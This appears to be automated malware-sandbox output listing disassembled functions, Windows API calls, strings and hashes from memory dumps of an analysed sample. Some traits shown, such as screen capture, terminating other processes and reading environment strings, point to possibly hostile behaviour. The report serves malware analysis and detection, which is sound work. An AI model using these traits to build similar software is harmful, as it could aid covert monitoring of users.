Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Cpp_errorDesktopThrow_std::_$CreateMin_valueOpenchar_traits
String ID:
API String ID: 4090590276-0
Opcode ID: f4b66be1a9a159201e894f4177cb40ae5c26dd8dcd0321ff521c424d7ba76d45
Instruction ID: d2456de407bcf96ba6df9d713bd82924c0c3151e2d844f567e54293a75748e47
Opcode Fuzzy Hash: f4b66be1a9a159201e894f4177cb40ae5c26dd8dcd0321ff521c424d7ba76d45
Instruction Fuzzy Hash: 4A5174F1E44249DFCB10DBA9D941BAEB3F5EB44B10F1041A9E905A72C0E7756900CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6FE6B Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

8, xrefs: 00D80AFE
8, xrefs: 00D80AB3
7{, xrefs: 00D6FE9F

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID: 7{$8$8
API String ID: 0-4202533393
Opcode ID: 64823923db7dd509a7f1aed6215abe8b52e00253aa9b27602d9ff229582cbb04
Instruction ID: 0126f81492f7dbc37a329a130fc8aedeeb590298960f103f8a1f97a0f25a4f83
Opcode Fuzzy Hash: 64823923db7dd509a7f1aed6215abe8b52e00253aa9b27602d9ff229582cbb04
Instruction Fuzzy Hash: DA519B395043019FC704EF24E884B1EB7A1FF84324F91896CF9544B2A2DBB19904CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0713CD20 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 07144E7F: QueryPerformanceFrequency.KERNEL32(07140516,099AB7CE,099AB7CE,?,0713CD37,00000000,07140516,00000000,0717102C,07140516,099AB7CE,?,00000000), ref: 07144E9D

Part of subcall function 07144E68: QueryPerformanceCounter.KERNEL32(07140516,?,?,?,0713CD44,00000000,07140516,00000000,0717102C,07140516,099AB7CE,?,00000000), ref: 07144E71

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0713CD90
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0713CDC4
__alldvrm.LIBCMT ref: 0713CDE3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0713CE0B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$PerformanceQuery$CounterFrequency__alldvrm
String ID:
API String ID: 2057067329-0
Opcode ID: a98f6a67628a17b026753c1340f57f249088f8c32caa62540edc9aacf864d9cf
Instruction ID: 56da72abd7497ae02ce06f4ac7331126a588085920ec6880ea3ab58529449da2
Opcode Fuzzy Hash: a98f6a67628a17b026753c1340f57f249088f8c32caa62540edc9aacf864d9cf
Instruction Fuzzy Hash: E93181B1704310AFD718DE2D9C45B3BAADEDBC8690F05467DF909EB390E6649C0487E6

Uniqueness

Uniqueness Score: -1.00%

Function 0715CABA Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0715C820: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,07155513,?,00000000,-00000008), ref: 0715C881

GetLastError.KERNEL32 ref: 0715CB1E
__dosmaperr.LIBCMT ref: 0715CB25
GetLastError.KERNEL32(?,?,?,?), ref: 0715CB5F
__dosmaperr.LIBCMT ref: 0715CB66

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 7e0e991d1e68f2d05c576f9baebd7a5e513526b2b3d437b07cfc11f4af89e985
Instruction ID: 394f3ae8e1ba7580430bef8a7a3ed912a560bf30875fbd4f343c5165ec4ec178
Opcode Fuzzy Hash: 7e0e991d1e68f2d05c576f9baebd7a5e513526b2b3d437b07cfc11f4af89e985
Instruction Fuzzy Hash: FD216AF1600307EFDB29AF65988086AB7ADEF062A47048519EC39A7280D730ED40CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 07152E04 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5a9a5c943f6a684df425bd011116cd3eeb915fb63ed1b1dff3dae6641a5962e
Instruction ID: 9b2a4aeb91662664f666486533dfa993b77e7263485d0a6cf6de57dd7fd161e8
Opcode Fuzzy Hash: b5a9a5c943f6a684df425bd011116cd3eeb915fb63ed1b1dff3dae6641a5962e
Instruction Fuzzy Hash: 46216DF2600216EFDB2AAFA1DC8096B77ADFF422647154519EC35B72D0D730EC4087A1

Uniqueness

Uniqueness Score: -1.00%

Function 0715DA5B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0715DA63

Part of subcall function 0715C820: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,07155513,?,00000000,-00000008), ref: 0715C881

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0715DA9B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0715DABB

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 94ae163af96ee51b93ca884b771dd2265ec2b08232584fc4bf9d88d2965bf843
Instruction ID: da307365d522bf68927c0e059ce0b0350f02cc656dec271e9a639bc150624763
Opcode Fuzzy Hash: 94ae163af96ee51b93ca884b771dd2265ec2b08232584fc4bf9d88d2965bf843
Instruction Fuzzy Hash: DA11E1F5709616FFA71A6B71ACCDCBF2A5CCE859A47500058FD61912C0EF759D8082B2

Uniqueness

Uniqueness Score: -1.00%

Function 0714A701 Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,07125AB0,0714A5A3,00000000,00000004,00000000), ref: 0714A750
GetLastError.KERNEL32(?,?,?,?,?,0712B23E,07125AB0), ref: 0714A75C
__dosmaperr.LIBCMT ref: 0714A763

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: a30750612987cd843ba02196b5ce26c0e63c8005f8869483b052d8e3e275da1b
Instruction ID: 76444e5a7564ab6a5de6318fccbe24ba9d7540ab2bcb4134bfe5901f55b79590
Opcode Fuzzy Hash: a30750612987cd843ba02196b5ce26c0e63c8005f8869483b052d8e3e275da1b
Instruction Fuzzy Hash: 660122F2840214FFCB21AB64DC08BDE7AB9EF81376F228208F824921C0DB718541CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0712C180 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0712C193
GetWindowLongA.USER32(?,000000EC), ref: 0712C1C3
SetWindowLongA.USER32(?,000000EC,?), ref: 0712C1DC
GetVersionExA.KERNEL32(00000094), ref: 0712C1F3

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Window$Long$VersionVisible
String ID:
API String ID: 3307475360-0
Opcode ID: 59c3dfa1c918d56046dfb4bed3eb50e1741b4d49c833b081f906e525fa84f6d8
Instruction ID: a35ff48c0432decd39c96690ac9a7c795282cf4cdb3309cd1a3ce5463a3089c1
Opcode Fuzzy Hash: 59c3dfa1c918d56046dfb4bed3eb50e1741b4d49c833b081f906e525fa84f6d8
Instruction Fuzzy Hash: 591133B5A00218EBDB10DFA4D845E9E77B9EB88310F108258F909972C1D735EE95DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AFCFB9 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AFCFC0
std::_Lockit::_Lockit.LIBCPMT ref: 00AFCFCB
std::_Lockit::~_Lockit.LIBCPMT ref: 00AFD039

Part of subcall function 00AFD11C: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AFD134

std::locale::_Setgloballocale.LIBCPMT ref: 00AFCFE6

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: fa94d1149e51204f3ad167ea8a9ce26b9adcff705afb72fee048b866a29976a8
Instruction ID: fc2648eb2767d2ec9c0b55555ed3b44cc8f3e906f4e4e37409000441d21a2c48
Opcode Fuzzy Hash: fa94d1149e51204f3ad167ea8a9ce26b9adcff705afb72fee048b866a29976a8
Instruction Fuzzy Hash: 6901DF7A6002189BCB06EFA0E90977C7B62BF84750F140118FA0227392CF386E82CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 00C71DDB Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00C71E76,?,?,?,00C99476), ref: 00C71DED
TlsGetValue.KERNEL32(00000005,?,?,?,00C99476), ref: 00C71E04

Strings

DecodePointer, xrefs: 00C71E2F
KERNEL32.DLL, xrefs: 00C71E14, 00C71E19, 00C71E24

Memory Dump Source

Source File: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: 77839d98aebdc2bd20e69a753e94c4b77bdeb0e239dff522760d26d70e0d808a
Instruction ID: 563e530dbca6e379e6fc9ae5121e33d7ce65158d03e29ee7cc368ede8a91d583
Opcode Fuzzy Hash: 77839d98aebdc2bd20e69a753e94c4b77bdeb0e239dff522760d26d70e0d808a
Instruction Fuzzy Hash: 54F0FF70500516AA9B116B6AED49AAB3B9C9F413B0718C125FC2CD6161EB20DE5297B0

Uniqueness

Uniqueness Score: -1.00%

Function 00C71D60 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00C71DD9,00000000,00C78E6A,00C856B8,00000000,00000314,?,00C769E1,00C856B8,Microsoft Visual C++ Runtime Library,00012010), ref: 00C71D72
TlsGetValue.KERNEL32(00000005,?,00C71DD9,00000000,00C78E6A,00C856B8,00000000,00000314,?,00C769E1,00C856B8,Microsoft Visual C++ Runtime Library,00012010), ref: 00C71D89

Strings

EncodePointer, xrefs: 00C71DB4
KERNEL32.DLL, xrefs: 00C71D99, 00C71D9E, 00C71DA9

Memory Dump Source

Source File: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: cc4eab8c59011fd891b8b89b6265431ff4b768851304aefd5c70353fb1311ccf
Instruction ID: 9d8635d9da22124bb9a64178b707c9908e6ad48e51a6f60404030f761a13e876
Opcode Fuzzy Hash: cc4eab8c59011fd891b8b89b6265431ff4b768851304aefd5c70353fb1311ccf
Instruction Fuzzy Hash: 1AF03674501616AB9B26AB79EC44A6B3FDDDF113607188525FC2CD6162EB30CE418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 07142E3E Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,0713168B,00000000,00000000,?,?,?,0713168B,?,?,?,00000000), ref: 07142E5B
GetLastError.KERNEL32(?,?,?,0713168B,?,?,?,00000000,00000000), ref: 07142E67
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,0713168B,00000000,00000000,?,?,?,0713168B,?,?,?,00000000), ref: 07142E8D
GetLastError.KERNEL32(?,?,?,0713168B,?,?,?,00000000,00000000), ref: 07142E99

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: b5b9f5ef0caf7cc697cbe30d7fcf87bb06b15dbe588d3e5ea5d3d91eab9336c3
Instruction ID: 689b29dea1959b6561d97e63a3dabc3ed3df981256c10121e6cad3477de8707c
Opcode Fuzzy Hash: b5b9f5ef0caf7cc697cbe30d7fcf87bb06b15dbe588d3e5ea5d3d91eab9336c3
Instruction Fuzzy Hash: CC011236600156BBCF221E51DC09C9F7F2AFBCA7A0B118018FE0565260C731C8A1D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0710B1D0 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 0710B1E5
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 0710B1F9
TerminateProcess.KERNEL32(00000000,00000000), ref: 0710B20E
CloseHandle.KERNEL32(00000000), ref: 0710B218

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Process$CloseHandleOpenTerminateThreadWindow
String ID:
API String ID: 3803187281-0
Opcode ID: 44011f8be07afd526316c6a050ea01f8a65138bb39c8262b49a1679124e08572
Instruction ID: 09a67793c3c7ccfeaed29103aff8b8ef492cffe6453a84a4a3d05c97f45be5f1
Opcode Fuzzy Hash: 44011f8be07afd526316c6a050ea01f8a65138bb39c8262b49a1679124e08572
Instruction Fuzzy Hash: FBF0DAB9940208FFDB14EBE4D94EBDDBB78AB48701F504558E905A72C0C7B9AA84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07164BF9 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,07163295,00000000,00000001,?,0714AE13,?,07158EC2,0714AE13,00000000,00000000), ref: 07164C10
GetLastError.KERNEL32(?,07163295,00000000,00000001,?,0714AE13,?,07158EC2,0714AE13,00000000,00000000,0714AE13,0714AE13,?,0715949C,?), ref: 07164C1C

Part of subcall function 07164BE2: CloseHandle.KERNEL32(FFFFFFFE,07164C2C,?,07163295,00000000,00000001,?,0714AE13,?,07158EC2,0714AE13,00000000,00000000,0714AE13,0714AE13), ref: 07164BF2

___initconout.LIBCMT ref: 07164C2C

Part of subcall function 07164BA4: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,07164BD3,07163282,0714AE13,?,07158EC2,0714AE13,00000000,00000000,0714AE13), ref: 07164BB7

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,07163295,00000000,00000001,?,0714AE13,?,07158EC2,0714AE13,00000000,00000000,0714AE13), ref: 07164C41

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1fb6bd2a7d26efe33059ada010ae119cf48875b385091251053d470a9bb2d199
Instruction ID: fc6759e3f687edbcc8882569b1c53fec1d55da81476ee8e8fc42c6b1085ef715
Opcode Fuzzy Hash: 1fb6bd2a7d26efe33059ada010ae119cf48875b385091251053d470a9bb2d199
Instruction Fuzzy Hash: 14F01C36000165BBCF222FD5DC09EC93F2AEB486B5B454414FE19961A0D7329AA0DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6670 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 271COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AD69C5

Strings

parse error, xrefs: 00AD6711
ror, xrefs: 00AD66C3

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_copy
String ID: parse error$ror
API String ID: 2659868963-4201802366
Opcode ID: f5a8da8a972a06d4db13c74d4fb4fd3b07f47092dae322083591ec99e3983e8f
Instruction ID: 20cce87a17a3085ed811017a3a91a1daa9593a011db5d5c4c62e0172667d8db5
Opcode Fuzzy Hash: f5a8da8a972a06d4db13c74d4fb4fd3b07f47092dae322083591ec99e3983e8f
Instruction Fuzzy Hash: 9CB11171D002488FDB18CF64CD98BADBB71FF55304F14839AE4496B7A2D774AA84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF1ED0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00AF2F8E
___std_exception_destroy.LIBVCRUNTIME ref: 00AF2FA7

Strings

value, xrefs: 00AF2EAA

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: 1faec25de2903d66170c794fab833fea5061372695325950131f7a243f613f56
Instruction ID: b44bd3ae19bc68e6160134261a56cfebcd565d5f389c31478395fbfdd056e49c
Opcode Fuzzy Hash: 1faec25de2903d66170c794fab833fea5061372695325950131f7a243f613f56
Instruction Fuzzy Hash: AD91FF71D0025D9BCB18DBA4CD95BEEFBB8EF14300F1481AAF509A3292DB345A45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6410 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00AD6641
___std_exception_destroy.LIBVCRUNTIME ref: 00AD6650

Strings

[json.exception., xrefs: 00AD647C

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: [json.exception.
API String ID: 4194217158-791563284
Opcode ID: 67f77eba40c8ed79d12be8c626f13dd5274b177165dba0ccf71615e4af215bd7
Instruction ID: 5051b6fcdd60053a3a5742b8d217ec323e0368ea56d6037748dbeb4a6f6e40d9
Opcode Fuzzy Hash: 67f77eba40c8ed79d12be8c626f13dd5274b177165dba0ccf71615e4af215bd7
Instruction Fuzzy Hash: D0613470D002489BDB18DF68DD55BAEFBB1FF45304F24831AF4156B792D774AA8487A0

Uniqueness

Uniqueness Score: -1.00%

Function 0713FE10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

_Smanip.LIBCPMTD ref: 0713FE55
InterlockedPushEntrySList.KERNEL32(0717ACA0,0717AB78), ref: 0713FF2E

Part of subcall function 0715127D: IsProcessorFeaturePresent.KERNEL32(00000017,0714ADF3,?,0714AC66,00000001,00000000,0714FD84,?,?,?,?,?,00000000,?,?,0714FE22), ref: 07151299

Strings

Windows.Graphics.Capture.Direct3D11CaptureFramePool, xrefs: 0713FE4D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: EntryFeatureInterlockedListPresentProcessorPushSmanip
String ID: Windows.Graphics.Capture.Direct3D11CaptureFramePool
API String ID: 3267255610-3867124634
Opcode ID: 445b0877fb13e22014ad5efafc4fba1c5cd24e0afe9218b51c0ee10dfd3cc995
Instruction ID: e9d24ee295c8c4e32b1f1562a20180a608c71c1a86413c1edda33ed842cc99e5
Opcode Fuzzy Hash: 445b0877fb13e22014ad5efafc4fba1c5cd24e0afe9218b51c0ee10dfd3cc995
Instruction Fuzzy Hash: 59517DB5D0020ADFDB11DF98C840AAEFBB9FF09714F14815AE911AB390D774A946CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AD470F

Strings

ios_base::failbit set, xrefs: 00AD45C8
ios_base::badbit set, xrefs: 00AD46A7, 00AD46D2, 00AD46F3

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
